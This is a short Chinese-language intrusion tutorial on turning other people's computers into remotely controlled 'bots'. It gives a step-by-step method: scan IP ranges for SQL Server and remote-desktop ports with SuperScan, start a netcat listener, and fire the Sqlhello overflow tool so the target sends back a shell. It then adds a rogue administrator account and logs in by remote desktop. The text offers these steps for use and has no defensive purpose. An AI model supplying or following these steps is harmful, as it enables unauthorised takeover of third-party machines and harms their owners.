近年電腦安全性大幅提升，弱口令肉雞已罕見，但入侵並非不可能。本文介紹獲取肉雞（被完全控制的主機）流程。

一、踩點掃描——尋找目標：使用SuperScan掃描工具，設定IP段與服務，自定義端口加入1433（SQL）與3389（遠端桌面），掃描存活主機。

圖1 SuperScan介面

二、天羅地網——監聽端口：使用NC（瑞士軍刀）監聽本地端口（如1987），命令「NC -vv -l -p 1987」，出現省略號表監聽成功。

圖2 NC監聽

三、驅趕肉雞——進入陷阱：使用Sqlhello溢出工具，批次檔格式「Sqlhello 目標IP 1433 本機IP 監聽端口」，執行後NC取得遠端Shell。建立帳號「Wenpeng/123456」並提升為管理員，遠端桌面登入即獲肉雞控制權。

圖3 Sqlhello批次檔

圖4 肉雞桌面

此法可讓入侵者如操作本機般控制目標。